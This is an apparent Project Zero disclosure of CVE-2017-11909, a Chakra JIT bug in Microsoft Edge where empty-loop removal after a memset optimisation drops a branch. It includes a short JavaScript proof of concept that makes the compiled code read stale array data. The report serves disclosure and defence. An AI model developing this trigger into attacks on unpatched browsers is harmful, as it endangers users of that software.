Microsoft Edge: Chakra: JIT: BackwardPass::RemoveEmptyLoopAfterMemOp doesn't insert branches. 

CVE-2017-11909


The optimizations for memory operations may leave empty loops as follows:

for (let i = 0; i < arr.length; i++) {
    arr[i] = 0;
}

Becomes:

Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
    // empty!
}

These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.

Here's what may happen.

A:
Memset(arr, 0, arr.length);

for (let i = 0; i < arr.length; i++) {
    
}
goto D;  // Actually, this's a "BrGe_I4" instruction in the PoC.

C:
...

D:
...

Becomes:

A:
Memset(arr, 0, arr.length);

C:
...

D:
...

So, this may break the control flow.


PoC:
function opt(a, b, always_true = true) {
    a[0] = 1234;
    b[0] = 0;

    let arr = a;
    if (always_true) {
        arr = b;
        for (let i = 0; i < arr.length; i++)
            arr[i] = 0;
    }

    let val = arr[0];
    if (val) {
        print(val);  // Must be 0, but prints out 1234
        return true;
    }

    return false;
}

let a = new Uint32Array(1);
let b = new Uint32Array(0x1000);
for (let i = 0; i < 10000; i++) {
    if (opt(a, b)) {
        break;
    }
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt